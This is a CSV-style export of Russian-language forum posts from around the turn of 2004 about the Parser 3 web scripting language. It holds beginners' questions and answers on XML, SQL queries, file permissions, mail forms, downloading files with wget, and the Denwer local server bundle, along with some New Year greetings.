$d[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<t/><t/>}] \
# результат=список из двух элементов \"t\" \
$list[^d.select[t]] \
# перебираем найденные листы: \
#   этот код будет работать \
#   даже если запрос не найдет ни одного листа  \
^for[i](0;$list-1){ \
    $node[$list.$i] \
    Имя: $node.nodeName<br> \
    Тип: $node.nodeType<br> \
} \
[/code] \
\
в xml документе должен быть один корневой узел.\
так правильно:\
[code]\
$d[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<xml>\
<t/><t/>\
</xml>}]\
# результат=список из двух элементов \"t\"\
$list[^d.select[//t]]\
# перебираем найденные листы:\
#   этот код будет работать\
#   даже если запрос не найдет ни одного листа\
^for[i](0;$list-1){\
    $node[$list.$i]\
    Имя: $node.nodeName<br>\
    Тип: $node.nodeType<br>\
}\
[/code]"
"24766","Подскажите как сделать вывод из таблицы в две колонки. Ну никак не получается.\
\
Более подробно:\
\
Есть таблица, скажем такого типа:\
name descr\
cat1 d1\
cat2 d2\
cat3 d3\
cat4 d4\
\
Если использовать метод menu то все ясно, а нужно вывод сделать такого вида:\
\
cat1  cat2\
cat3  cat4"
"24770","Вот как я подключаю классы:\
@USE\
lib.p\
sql.p\
mysql.p\
auth.p\
\
@auto[]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string]]\
\
\
Вот что выдает парсер.лог:\
[Tue Dec 30 14:13:20 2003] /_auth_info.html: z:/home/sugrob.ru/www/classes/sql.p(101:63): '|		SELECT	|			auser_id AS group_id,|			name,|			description,|			rights,|			is_published,|			is_default|		FROM|			auser|		WHERE|			auser_type_id = 1|		ORDER BY|			name|	' Unknown column 'is_default' in 'field list' [sql.execute]"
"24771","там вроде везде про простой вывод (либо горизонтально, либо вертикально) говорится."
"24772","http://www.parser.ru/examples/p2table/"
"24774","вы сами можете убедится, что в скиптах есть упоминание о колонке is_default...\
\
создайте таблички заново с помощью прилагающихся скриптов.\
\
P.S. подключать sql.p не нужно. если вы посмотрите в mysql.p вы увидите, что он оттуда подключается."
"24778","Misha вам спасибо тоже, просто я не знал какой код для этого нужен."
"24779","Правильно ли я понял, что даный пример http://www.egoroff.spb.ru/portfolio/15.html может сформировать только полный список URI ?  А список URI для подраздела типа /about/ (или по его ID ) он сделать не может ?\
Может кто делал типа этого \
         главная ПРОДУКЦИЯ Связь (главное меню )\
         Главная->Продукция\
стакан\
бутылка\
РЮМКА\
нечто\
\
Я так понял делать это через файлы, как тут не http://www.parser.ru/forum/?id=6732 , не есть хорошо ?"
"24780","Кто имел дело с PGP подписью в письмах?\
Ума не приложу как это реализовать в связке Парсер+шелл+ПГП.\
В тех доках, которые я нарыл все настолько смутно и прерывисто-непонятно"
"24782","Вот какая ошибка, не знаю что делать\
[Tue Dec 30 16:38:44 2003] /forum.html: z:/home/forum.ru/www/forums.htm(329:31): 'getDate' undefined method [parser.runtime]"
"24783","это я про скрипт форума от Сергея Яценко, если кто не понял..."
"24784","надо почитать про регулярные выражения (очень полезная вещь, если будете продолжать делать что-нить дла web-а то скорее всего пригодится), и после этого использовать шаблон, предложенный смалексом:\
\
^str.match[(\\d+)][]{$match.1}\
\
P.S. впрочем он есть во всех книжках по регекспам"
"24785","затем вызывать:\
\
[code]\
^table[$таблица](2){\
  <td>$таблица.столбец</td>\
}\
[/code]\
\
где $таблица - объект table который вам надо вывести\
2 - во сколько столбцов вам надо вывести\
то, что в {} - это код, который выводит текущий элемент объекта table в ячейку html таблицы"
"24786","Получается, что XML документ можно загружать (^xdoc::load[http://...]) только если его адрес начинается с http:// ,а если с https:// - то нельзя."
"24790","Можно ли в использовать такую конструкцию:\
^table::sql{select\
       id, date\
   from\
      flats\
   where\
    (^if усл1 {строка выбора1})\
}"
"24792","Имеется 2 таблицы:\
\
[b]location[/b] - таблица в которой хранятся все данные о месторасположении фильма.\
[code]\
| id | movie_id | pub_date | del_date | location |\
[/code]\
id - номер публикации\
movie_id - id фильма, информация о котором храниться в другой таблице\
pub_date - дата публикации фильма\
del_date - дата удаления фильма с сервера (может задаваться намного вперед, если известно когда фильм удалят)\
location - путь до файла\
\
[b]order[/b] - таблица в которой хранятся все заказы на фильмы.\
[code]\
| id | movie_id | auser_id | order_date |\
[/code]\
id - id заказа\
movie_id - id фильма\
auser_id - id пользователя, заказавшего фильм\
order_date - дата заказа\
\
[b]Помогите составить запрос для проверки, что у пользователя нету невыполшненных заказов...[/b]\
\
А то перед новым годом столько суматохи..."
"24793","...с недавнего времени доступна для скачивания в [url=\"http://www.parser.ru/download/utils/\"]соответствующем разделе[/url].\
\
Почти наверняка будет работать и с ColdFusion Studio, и с JRun Studio, установка тривиальна - копируем .scc файлик в папку Parsers вашей Studio и прописываем в реестр примерно такой ключик:\
[code]\
[HKEY_CURRENT_USER\\Software\\Macromedia\\{ваша}Studio{X}\\Parsers\\Parser 3]\
\"Extensions\"=\"p;conf;html;\"\
[/code]\
есть подозрение, что будет работать и в некоторых других редакторах (например PHPEdit), как установить - незнаю, если кому удастся - большая просьба запостить в этот топик процедуру установки под конкретный редактор, может кому пригодится...\
\
О страшных глюках или специфических проблемах пишите мылом (есть в архиве). То, что блочный комментарий заканчивается с первой же \"}\" и в первой строке не подсвечивает определение метода, я уже знаю, к сожалению не смог исправить...  :("
"24794","не забывайте что при любом значении $area у вас должен получиться валидный SQL-запрос, к примеру, если у вас\
[code]...WHERE ^if($area ne \"Petya\"){area='$area'} AND type='$type'...[/code]\
то при $area равном \"Petya\" SQL-сервер получит\
[code]...WHERE AND type='$type'...[/code]\
что не совсем правильно."
"24795","во-первых, не у всех он включен, а во-вторых, как я понимаю, он работает на стороне клиента и соответственно не передает данные на сервер (ошибаюсь?)\
что касается второго варианта (повторная пересылка), то, наверно, ничего страшного нет. Предположим, скрипт-обработчик принимает в себя данные формы и в зависимости от того, какая radiobutton выбрана, отправляет эти данные тому или иному обработчику. Только вот как в Парсере сделать эту отправку с указанием данных формы на адрес, скажем,  \"http://www.domain.ru/result.html?form_data=$form_data\"???\
\
И еще: правильно я понимаю, что Парсер не позволяет динамически менять атрибут формы action в зависимости от того, что введено в форму? если бы он это делал, то было бы все просто."
"24796","Можно позвать программу wget через ^file::exec..."
"24797","при попытке выполнить простенькую команду ^file:delete[/aaa/1.doc] парсер выдаёт ошибку \
unlink failed: Permission denied (13), actual filename '/home/site/aaa/1.doc'  type: file.access\
\
В чём дело - не пойму - на локальном сервере всё прекрасно выполняется. Очевидно, у парсера недостаточно прав для удаления файла (хотя для создания - достаточно). \
Посоветуйте, из-за чего может быть такая ошибка, и как её исправить. Что нужно сказать сисадмину, чтобы он сделал. У меня самого прав на изменение прав (извините за тафтологию) на сервере нет, а объяснить, что надо сделать я не могу. \
Большое спасибо"
"24798","Как правильно записать сравнение, чтобы\
/object/ и /object/?rooms=1&type=kvartira результатом было true. Т.е. я хочу сравнивать строки до определенного символа. Идея в том, что все подразделы будут оформлены в стиле раздела."
"24800","Решить проблему со скачиванием xml по https, и файл можно будет присоединять как обычно?\
Я искал программку, но нашел только исходники и описание как работать с ней в win.\
Sumo, может ты знаешь где её найти."
"24801","[quote]\
И еще: правильно я понимаю, что Парсер не позволяет динамически менять атрибут формы action в зависимости от того, что введено в форму? если бы он это делал, то было бы все просто.\
[/quote]\
не позволяет. парсер -- он на сервере работает, форма -- на клиенте. У сервера есть парсер, у клинета -- жаваскрипт.\
сервер не знает что там с формой происходит, пока ему не скажешь про это. submit'ом, или ещё как жаваскриптом.\
примерно так, если я ничего не путаю."
"24802","lesson5.htm, 411 строка\
[code]\
</span><span style=\"...\"><span style=\"...\"><b>@USE\
<br>\
/classes/gbook.p\
<br>\
[/code]\
а если вот так:\
[code]\
</span><span style=\"...\"><span style=\"...\"><b>@USE<br>\
/classes/gbook.p\
<br>\
[/code]\
то нормально будет. по крайней мере, с online версией"
"24803","Заходим на сайт [url=\"http://www.gnu.org/software/wget/wget.html#downloading\"]wgeta'а[/url] и читаем черным по белому:\
[quote]Microsoft Windows binaries are available from SunSITE FTP server at ftp://sunsite.dk/projects/wget/windows/ or http://space.tin.it/computer/hherold/ and have been kindly provided by Heiko Herold. An MS-DOS binary designed to be used under plain DOS with a packet driver has been made available by Doug Kaufman. It is available from http://www.rahul.net/dkaufman/. Antinode.org offers a VMS port of Wget.[/quote]"
"24804","А можно ли на парсере сравнить строки, чтобы:\
abcd=fghi \
abcd<abcdf\
abcd>qwe ? Т.е. сравнить только длины строк, без учета конкретных символов?"
"24807","пользователь отправил заказ, он записался в таблицу order.\
\
что происходит когда этот заказ выполняют?"
"24810","Т.е. надо как-то проверить, что фильм (movie_id) не выкладывался после даты заказа!\
\
[b]Точно![/b] %)) Уже придумал :)"
"24811","Раньше, когда еще стоял парсер 3.00...+ Денвер в одном комплекте, при неправильном коде, на этой же странице выдавалось сообщение об ошибках, с подробным указанием где что неправильно, а теперь просто- ошибка 500, и чтобы узнать причину этой ошибки, приходиться лезть в парсер.лог , что не очень удобно."
"24812","Unhandled Exception (Debug)\
column not found\
uri\
\
s:/home/homepage.ru/www/auto.p(7)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
menu s:/home/homepage.ru/www/auto.p(5)\
navigation s:/home/homepage.ru/www/index.html(19)"
"24815","Может там выскачить и не 500-ая ошибка, но все же, сообщений о ней нету, а раньше было что то типа этого:\
\
Unhandled Exception (Debug)\
\
\
z:/home/site.ru/www/auto.p(9)\
exception.type=parser.runtime \
\
 и тд..."
"24817","Товарищи, исправвьте ошибку:\
@object[]\
^connect[$connect_string]{\
   $flats[^table::sql{select\
       id, date, time, rooms, full_info, price, type, area\
   from\
      flats\
   where\
      ^if{$sale_now='0'}{*sale_now='$sale_now'*}{^if{$type eq 'vse'}{*area='$area' AND sale_now='$sale_now'*}{*type='$type' AND rooms='$rooms' AND area='$area' AND sale_now='$sale_now'*}}\
   }]\
Для ясности я обнес звездочками то, что должно стать в результате выполнения ^if в поле where запроса (одно из них)."
"24818","***************\
\
Поздравляю с новым годом!\
Новый год - праздник, которго все ждут, в который и взрослые верят как в сказку. Кажется, когда часы пробьют двенадцать, а календарь покажет цифры нового года, обязательно произойдет что-то очень хорошее.\
\
Мы все ждем этого сказочного момента, считаем дни, затаив в душе самую заветную новогоднююю мечту.\
\
позвольте поздравить вас с наступающим раздником и пожелать исполнения всех ваших желаний!\
\
***************\
\
Пусть сбываются ваши мечты и осуществляются планы!\
Встречайте каждый день наступающего года с той же радостью, что и сам Новый Год!\
\
***************\
В ночь новогоднюю, друзья,\
Всем счастья пожелаю я,\
Живите весело и мило.\
Имейте миллион друзей,\
Любите труд, природу, милых.\
И будет все тогда о'кей!\
\
С Наступающим 2004 Годом!!! =)))\
\
***************\
\
Дорогие друзья, каллеги, партнеры и просто случайные знакомые!\
\
Хочеться от всей души поздравить Вас всех с наступающим Новым Годом, пожелать счастья, успехов и исполнения желаний.\
\
Удачи в Новом Году!\
\
\
***************\
\
новогодний спам и прятен и еще больше раздражает!"
"24819","Почитал я тут форум, посмотрел, что люди пишут по поводу Денвер+Парсера. Вижу, есть некоторые неудобства с юзабилити (например, .htaccess многие не находят и т.д.)\
\
Я готов выслушать все пожелания насчет того, что именно Вам в Денвере НЕ НРАВИТСЯ и, соответственно, поправить."
"24820","С наступающим!\
\
Можно было бы в дистрибутив включить первый урок из доки к Парсеру и краткое описание того, что такое .htaccess и для чего он нужен.\
\
P.S. Cпасибо Вам за Денвер, а разработчикам за Парсер. Успехов!"
"24824","Может, стоит выделить все тестовые скрипты Парсера в отдельный виртуальный хост?"
"24826","ДЕНВЕР открыл мне путь к ВЭБ програмированнию, и Денвер РУЛИТ, хотел отойти от Денвера но буду, честно не буду, пожелаю \
Денверу всего лучшего, и поддержки имаджмэджи, всем его создателям респект, еслиб был БИЛОМ ГЕЙТСОМ, то перевел бы мильён на поддержку Русских программеров и лично Товарища БРАУНА!!! Респект вам всем, я вас всех люблю!!!"
"24827","ДЕНВЕР открыл мне путь к ВЭБ програмированнию, и Денвер РУЛИТ, хотел отойти от Денвера но буду, честно не буду, пожелаю \
Денверу всего лучшего, и поддержки имаджмэджи, всем его создателям респект, еслиб был БИЛОМ ГЕЙТСОМ, то перевел бы мильён на поддержку Русских программеров и лично Товарища БРАУНА!!! Респект вам всем, я вас всех люблю!!!"
"24828","Спасиба Кодер, тебя туда же... Помогай мне в новом году, я уже не в состоянии\"!!! :))))"
"24829","В продолжении темы: http://www.parser.ru/forum/?id=24792\
\
Ну никак не получается... не могу сделать, чтобы дата [i]order_date[/i] сравнивалась с самой последней датой публикации фильма [i]pub_date[/i] :(\
\
Пожалуйста помогите сообразить..."
"24830","Дмитрий, мои вопросы к Денверу - критика, обусловленная скорее вопросами вкуса и различия в подходах, так что если она не нравится или не вызывает согласия - просто пропустите мимо ушей ;-)\
\
Денвер вы создавали, чтобы угодить всем (разработчикам на perl, php, parser) и поэтому для пользователей parser он отчасти избыточен, отчасти недостаточен - perl и php в большинстве случаев не нужны, sendmail-заглушка же вовсе только сбивает с толку - парсеру под win32 требуется smtp-сервер, а не сендмейл. \
\
В денвере слишком много перловых финтов, которые исходят из если не ложных, то преувеличенных предпосылок. Вы руководствуетесь соображением, что денвер при запуске должен проанализировать рабочую папку, сделать каждую папку виртуальным хостом и перепахать hosts. То есть считается, что (1) у пользователя денвера в работе несколько проектов и (2) ему нравится пользоваться такой структурой папок и каталогов, которую вы ему предлагаете (а предлагаете вы пользователю то, что исторически дают нам юниховые системы - все эти /usr/local/итд)\
\
Денвер ставят себе новички. У них в работе один проект, с которым они играются - их \"myhomepage.ru\". Второй и последующие вирт. хосты они сами добавят потом, как раз поумнев к этому времени. То есть весь набор кода, который перелопачивает папки, [i]лично мне[/i] кажется лишним - я его удалил на фиг вместе с перлом.\
\
Теперь по поводу структуры папок - вся культивируемая в денвере юниксопохожесть пользователю парсера на фиг не сдалась - для парсера [i]не важны[/i] абсолютные пути и всё. То есть для не пользующегося perl это лишние оковы во имя \"застывшего канона классицизма\".\
\
Лучшее решение - не \"запрягать коня и пламенную лань\" в одну телегу и перестать угождать всем и вся. Когда на этом сайте появится-таки пакет разработчика для parser - с apache, parser и mysql + готовый \"personal publishing\" сайт, готовый к работе после разворачивания setup.exe (недолго ждать осталось) - тогда и проблема рассосётся сама - вам не придётся думать, как в своём наборе учитывать ещё и интересы парсеропользователей."
"24831","Спасибо за теплые слова. Но давайте все же придерживаться темы."
"24832","Спасибо, Ваши замечания будут учтены. В частности, вероятно, все же придется делать SMTP-заглушку.\
\
Но все же Вы ошиблись в двух местах. Во-первых, структура домашних каталогов не фиксирована, а задается в httpd.conf (в весьма простом формате, кстати), и перенастроить ее ничего не стоит (конечно, если открыть httpd.conf и прочитать то, что там написано). Во-вторых, Денвер используют не только начинающие разработчики (хотя таких, конечно, большинство — к сожалению). У меня, например, в /home 37 поддиректорий (а во многих — еще и домены второго уровня), так что общее число проектов — около 50.\
\
Но как обойтись без PHP, я не понимаю: ведь phpMyAdmin работает с использованием PHP, а аналогов ему (настолько же юзабельных), насколько мне известно, не существует..."
"24833","А парсер (и прочие cgi-скрипты) работает под тем же пользователем, что и владеет этим файлом? Собственно это и надо спросить у админа."
"24834","А ведь книг про командную строку DOS, книг про порты ввода-вывода, прерывания и прочее сейчас не найти..."
"24835","http://info.datarecovery.ru/\
\"Библиотека системного программиста\""
"24838","В доке написано, что оператор выдает случайную строку (иногда псевдослучайную)\
Объясните мне пожалуйста, так он уникальный или нет (потому что случайность не подразумевает уникальность).\
Можно узнать, на чём основана уникальность (случайность) строки - на времени или на чём нибудь ещё?\
\
Т.е. меня интересует вот что - уникальный идентификатор 100% никогда не повторится, случайный - может повториться с какой-то вероятностью. Этот индентификатор - случайный или уникальный?\
Большое спасибо.."
"24840","не знаю может и не написано на скриптовых языках чего поудобнее, но вот мне гораздо удобнее пользовать MySQL-Front, намного удобнее.\
\
Хотя я Денвер не пользую, высказался только про phpMyAdmin & MySQL-Front."
"24841","Посмотрел я MySQL Front только что. Могу сказать, что с момента, когда я его видел в прошлый раз, он сильно возмужал (вот что значит предвзятость — надо следить за развитием продукта, а не «посмотрел-плюнул-забыл»). Так что, возможно, и есть смысл отказаться от PHP и засунуть вместо него MySQL Front. Это и место должно сэкономить. Спасибо."
"24842","Можешь немного рассказать как настроить wget и составить запрос для получения файла."
"24844","wget так работать"
"24846","А что ты делаешь с полученным файлом? Сохраняешь или что?"
"24847","Мне кажется, нельзя подменять одно понятие другим\
И тогда снова вопрос повторю - интересно, на чём основана случайность идентификатора?"
"24849","не пойму что там с кодировкой отображается как кои, переключаю в браузере на кои, ничего не получаестя"
"24851","У меня есть форма для отправки вопроса с сайта на email, с применением скрипта, который проверяет заполнены ли все поля формы, вопрос никуда не уходит. Как только помещаю код \"mail:send\", в другой файл, все работает, но хотелось бы, чтоб всё было в одном файле.\
\
вот форма:\
...\
@body_main[]\
<script language=\"JavaScript\">\
function checkf()\
{\
if (( document.forma.subj.value == '' ) | ( document.forma.body.value == '' ) | ( document.forma.name.value == '' ) | ( document.forma.tel.value == '' ) | ( document.forma.email.value == '' ))\
\
{\
alert ('Необходимо заполнить все поля формы !');\
return false;\
} }\
</script>\
\
<form method=\"POST\" name=\"forma\" onSubmit=\"return checkf();\">\
<table cellspacing=\"0\" cellpadding=\"2\" border=\"0\">\
<tr>\
    <td valign=\"top\">Тема вопроса:</td>\
    <td><input type=\"text\" name=\"subj\" size=\"40\" maxlength=\"100\"></td>\
</tr>\
<tr>\
    <td valign=\"top\">Ваш вопрос:</td>\
    <td><textarea cols=\"34\" rows=\"8\" name=\"body\">\
</textarea></td>\
</tr>\
<tr>\
    <td valign=\"top\">Ваше имя:</td>\
    <td><input type=\"text\" name=\"name\" size=\"20\" maxlength=\"100\"></td>\
</tr>\
<tr>\
    <td valign=\"top\">Ваш телефон:</td>\
    <td><input type=\"text\" name=\"tel\" size=\"20\" maxlength=\"100\"></td>\
</tr>\
<tr>\
    <td valign=\"top\">Ваш e-mail:</td>\
    <td><input type=\"text\" name=\"email\" size=\"20\" maxlength=\"100\"><br><br></td>\
</tr>\
<tr>\
    <td><input type=\"reset\" name=\"reset\" value=\"Очистить\"></td>\
    <td align=\"right\"><input type=\"submit\" name=\"submit\" value=\"Отправить\"></td>\
</tr>\
</table>\
</form>\
\
^if(def $form:boby){ \
   \
^mail:send[ \
      $.from[$form:name <$form:email>] \
      $.to[Дмитрий <sugrob@sugrob.ru>] \
      $.subject[Вопрос с сайта farecla.ru]\
      $.html{<strong>Тема вопроса:</strong> $form:subj<br><br><strong>Вопрос:</strong><br> $form:body<br><br><strong>Имя:</strong>  $form:name<br><strong>Телефон:</strong> $form:tel<br><strong>e-mail:</strong> $form:email}\
]\
	  \
<script language=\"JavaScript\">alert (\"Ваш Вопрос отправлен\")</script>\
\
     $response:refresh[ \
     $.value[0] \
     $.url[/] \
      ]\
      }"
"24853","должно быть  $form:body - наверно, в отдельном файле этой опечатки нет"
"24854","Это строка, полученная из числа после рандома. Хотя рандом у ПАФа и делается навороченным образом, но полной гарантии уникальности нет. А чем GUID-то не устраивает?"
"24855","Опять собственная тупость и не внимательность ,  спасибо вам!!!"
"24856","этот индентификатор я использую в базе для маркировки всякого рода элементов - всяких текстов, сообщений, заметок, комментариев - зачем мне использовать более длинный UUID вместо более короткого UID64 если вероятность их повторения практически равна нулю?"
"24857","Это если упаковать. Да даже если и не упаковывать, то разница не принципиальная..."
"24858","некоторые люди берегут деньги, я почему-то берегу байты\
Если есть возможность использовать их меньше, особенно в базах - стараюсь использовать :)\
Если нет разницы - зачем платить больше?"
"24860","Допустип есть:\
^table.menu{\
^if(условие){остановка перебора, переход на ВЫХОД}\
код, выполняемый в процессе перебора\
}\
ВЫХОД\
\
Как выполнить {остановка перебора, переход на ВЫХОД}, усли это возможно?"
"24861","Пример: http://www.parser.ru/forum/?id=23668"
"24862","Довольно интресно, но \"тело try{...} при этом не будет выведено.\"\
\
Я пытаюсь добиться, чтобы меню из второго урока стало понимать подразделы, т.е.\
uri и uri?par1&par2 были оформлены одинаково. Сделал так:\
@links_cell[]\
$sections[^table::load[/sections.cfg]]\
^sections.menu{\
$uri[$sections.uri]\
$lenght[^uri.length[]]\
$uri2[$request:uri?]     #вопрос стоит специально!\
$uri2[^uri2.mid(0;$lenght)] #сравниваем ТОЛЬКО первые части, т.е. до параметров.\
^if($uri eq $uri2){\
 $bgcolor[$sections.color]\
 <TABLE id=\"logo\" WIDTH=\"100%\" ALIGN=\"Center\" BORDER=\"0\" CELLSPACING=\"0\" CELLPADDING=\"0\">\
  <TBODY>\
   <TR>\
    <TD WIDTH=\"100%\" HEIGHT=\"60px\" BGCOLOR=\"$sections.color\">\
     <img title=\"Союз-А\" vspace=\"0\" hspase=\"0\" src=\"${img_path}${sections.logo}\" height=\"60\" width=\"250\" alt=\"\" border=\"0\">\
    </td>\
   </tr>\
  </tbody>\
 </table>\
 }\
}\
<TABLE id=\"Links\" WIDTH=\"100%\" ALIGN=\"Center\" BORDER=\"0\" CELLSPACING=\"1\" CELLPADDING=\"3\"\
 style=\"color: #FFFFFF^; font-family: Tahoma\">\
 <TBODY>\
  <TR>\
   <nobr>\
^sections.menu{\
$cell_width[^eval(100\\$sections)%]\
$uri[$sections.uri]\
^if($uri eq $request:uri){\
      <TD ALIGN=\"middle\" WIDTH=\"$cell_width\" BGCOLOR=\"$sections.color\">\
       <b>$sections.name</b></TD>\
     }{\
      <TD ALIGN=\"middle\" WIDTH=\"$cell_width\" BGCOLOR=\"$sections.color\">\
       <b><a STYLE=\"COLOR: #FFFFFF^; TEXT-DECORATION: none\" target=\"_top\"\
        HREF=\"$sections.uri\">$sections.name</a></b></td>\
     }\
}\
   </nobr>\
  </TR>\
 </TBODY>\
</TABLE>\
\
А в sections.cfg добавил после каждого uri знак вопроса. Это пришлось сделать потому что все разделы начинаются со знака / и соответственно на всех НЕ главных страницах заголовок выводится дважды - один раз для / eq / а другой раз для /object/ eq /object/ (Это происходит при переборе sections.menu) Добавление вопроса позволило обойти проблему, но решение не универсально. Если будет использоваться uri/object/dir/dir ,то именно это вопросик не даст работать. Если вначале перебора проверить $request:uri ne '/' и только при этом продолжить перебор, а в противном случае вывести заголовок для / (главная страница) и прервать перебор, то получится довольно интересно. Работает это все на http://www.union-a.ru \
\
sections.cfg \
section_id	name	uri	color	logo\
1	Главная	/?	#FF0000	logored.gif\
2	Объекты	/object/?	#4676CC	logoblue.gif\
3	Документы	/docs/?	#15938D	logoseawave.gif\
4	Объявления	/desk/?	#763BEA	logoviolet.gif\
5	Новости	/news/?	#0EAF1E	logogreen.gif\
6	Ссылки	/links/?	#FF7300	logoorange.gif\
7	Пользователи	/users/?	#8AAF04	logosalat.gif\
8	О компании	/about/?	#9B072A	logobordo.gif"
"24867","Добрый день.\
Необходимо отсабмитиную форму проверить на валидность, а потом отправить post'ом на другой сайт. Подскажите, как?"
"24868","Я запускаю программу (^file::exec[]), а она не успевает обрабатываться, как можно притормозить выполнение скрипта пока не выполнится программа?"
"24870","http://www.parser.ru/forum/?terms=column+not+found&search_in_message=1&author=&doSearch=%CD%E0%E9%F"
"24871","1. проверка на стороне пользователя - javascript'ом - например так:\
http://www.serge.design.ru/libs/fieldvalidator/\
http://www.serge.design.ru/libs/formextention/required/\
\
2. потом проверка на стороне сервера - для тех у кого отключён java-script:\
[code]\
^if(def $form:field1){\
...\
}{\
Не заполнены обязательные поля или неправильно заполнены\
}\
[/code]\
Чтобы отправить на другой сайт нужно в форме прописать <form action=\"http://drugoy.sait.ru\" method=\"POST\">\
Проверить введённые данные на валидность можно с помощью регулярного выражения (вот [url=\"http://www.parser.ru/examples/lib/\"]тут[/url] например есть проверка валидности e-mail)"
"24872","Вы неправильно поняли.\
Необходимо первый раз отсабмитить форму на мой сайт <form action=http://mysite method=post> там произвести некие манипуляции, а потом повторить этот же сабмит только уже на другой сайт."
"24873","тебе уже указали идею, даже указали разные варианты, или нужен код?\
такого мало кто будет писать."
"24876","...что гораздо проще, чем бороться с перловыми скриптами Денвера..."
"24877","... и ищете, чем заняться, помогите мне, пожалуйста.\
\
Проблема: для парсера не было и нет готового комплекта, который новичок мог бы скачать и \"на раз-два\" поставить на свой компьютер (apache+mysql+документация+пример простенького но полезного сайта на парсере). [i]Денвер[/i] в этой ситуации не помощник - там слишком много своих ограничений и неудобств, да и сложноват он.\
\
Я собираю такой комплект и пишу код \"простенького но полезного сайта\". Чего мне не хватает, так это:\
\
(1) Удобной утилиты для управления apache и mysql под windows\
(2) Эмулятора SMTP-сервера, с помощью которого можно было бы тестировать отправку почты в Парсере\
\
Моих познаний в области с++ для написания этого не хватает, поэтому я и прошу помощи. (Если вы возьмётесь за первую задачку, вам в помощь будет код программы \"Apache Manager\", которая выполняет примерно ту же задачу, только не полностью.)\
\
Если есть время, скачайте http://www.bougakov.com/misc/parser_team_request.zip (133Kb) и почитайте своего рода \"техзадания\", в которых я высказал пожелания к обеим программам. \
\
[b]Если вы возьмётесь за это дело, вы очень поможете продвижению симпатичного всем нам парсера в массы.[/b] \
\
Если соберётесь писать и будете готовы выложить своё творение на условиях GPL - отметьтесь, пожалуйста, в комментариях к этой реплике. Если будут комментарии к тексту техзаданий - туда же."
"24878","Обмен опытом.\
Если вы хотите загрузить файл по https, http, ftp;\
Нужно будет воспользоваться таким кодом:\
$xml[^file::exec[/wget;;-nc;-O yes.xml;https://website.ru/yes.xml]]\
А теперь что это такое: wget - это программа, которая поможет скачать файлы (находиться по адресу: http://xoomer.virgilio.it/hherold/ или http://sunsite.dk/wget (Подсказал Sumo)), далее идут атрибуты передаваемые программе: -nc (если вы не хотите чтобы каждый раз при скачивании файл записывался как yes.xml.1 yes.xml.2 yes.xml.3 и т.д.); -O yes.xml (Указывает с каким именем сохранить загруженный файл, если не указать то файл сохраниться с родным именем, удобно когда адрес представляет собой такой вид, например, https://website.ru/no.asp?date=04012004&hour=07&minute=23&type=xml).\
Вот и всё."
"24879","Изучая лог-файлы, наткнулся на интересную запись, которая встречается уже не первый раз за одну неделю. Прошу обратить внимание, что результат выполнения запроса --- 200. Подозреваю, что клиент обрывает соединение и Apache удаляет парсер. Если так, то какова может быть причина обрыва соединения? Если что, то мой провайдер замечен в перегрузке своих физических серверов (IMHO). \
\
parser3.log\
[code]\
[Sun Dec 28 09:06:22 2003] SIGPIPE received while executing code. uri=/readme/, method=GET, qs=uri1=readme&uri2=&uri3=, cl=0\
[Tue Dec 30 03:27:56 2003] [Fri Jan  2 05:36:45 2004] SIGPIPE received while executing code. uri=/readme/, method=GET, qs=uri1=readme&uri2=&uri3=, cl=0\
[/code]\
\
Отрывки лога Apache (access_log): \
[code]\
216.88.158.142 - - [28/Dec/2003:09:06:22 +0300] \"GET /readme/ HTTP/1.1\" 200 12911 \"-\" \"Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)\"\
...\
216.88.158.142 - - [30/Dec/2003:03:27:56 +0300] \"GET /readme/ HTTP/1.1\" 200 12911 \"-\" \"Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)\"\
...\
216.88.158.142 - - [02/Jan/2004:05:36:45 +0300] \"GET /readme/ HTTP/1.1\" 200 12911 \"-\" \"Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)\"\
[/code]\
\
\
Скрипт почти полностью статический (размер выдаваемой информации не меняется), и обычный размер ответа этой страницы --- 29750 ([i]\"GET /readme/ HTTP/1.1\" 200 29750[/i])."
"24880","Я могу конечно ошибаться, но никакого времени, отведенного на выполнение той или иной скриптины нет.\
Вы запускаете скрипт, он отрабатывает, и после этого возвращает (или не возвращает) некий результат, или ошибку, а сколько он это будет делать - неважно.\
Проверьте, может он вообще не запускается, или возвращает ошибку, так ничего и не сделав."
"24881","Это вроде как вы замечены в перегрузке - линкчекер натравливаете на динамический сайт ;-) Или это не вы?"
"24882","... обсудить. Стучись в ICQ 41160163 ибо по твоему номеру пробится не могу... :)"
"24883","Вам за внимание, я разобрался в проблеме, была ошибка: я использовал пробелы вместо точки с запятой, для передачи команд."
"24884","Я использую http://courierms.narod.ru/ - в смысле там програмка лежит которую можно использовать в парсере для отладки.\
\
Чего хотелось бы лично мне, чтоб по умолчанию стоял ImageMgick"
"24885","И приходит, кстати, довольно часто... \
P.S. У меня на том сайте всего девять страниц. Мои URL --- статические."
"24886","Если уж Денвер сложен, то какой смысл работать с парсером?"
"24887","У меня сроду не было проблем с кодировкой. Скорее всего был неправильно настроен конфиг. auto.p"
"24889","Подскажите, плиз, что тут можно сделать:\
\
nikon@nikon sources/cvs/parser3 $ ./configure \\\
--prefix=/usr \\\
--sysconfdir=/etc \\\
--localstatedir=/var \\\
--with-charsets=koi8-r,windows-1251 \\\
--disable-safe-mode \\\
--with-static-xml \\\
--with-mysql-client\
\
[skipped...]\
\
checking for oracle client... could not guess\
configure: WARNING: neither --with-shared/static-gc were specified, hoping linker would find it\
checking for libgc... yes\
configure: error: yes does not seem to be valid Gnome installation directory\
\
смена --with-static-xml на --with-shared... результата не дает.\
\
nikon@nikon sources/cvs/parser3 $ rpm -qa|grep xml\
xml-commons-apis-manual-1.0-alt0.1.b2\
kxmleditor-0.8.1-alt2\
kdenetwork-kxmlrpcd-3.1.4-alt3\
xml-commons-1.0-alt0.1.b2\
xml-commons-apis-1.0-alt0.1.b2\
libxml-1.8.17-alt3\
xml-commons-which-1.0-alt0.1.b2\
xml-utils-2.6.3-alt1\
xml-common-0.6.3-alt9\
libxml2-2.6.3-alt1\
xml-commons-apis-javadoc-1.0-alt0.1.b2\
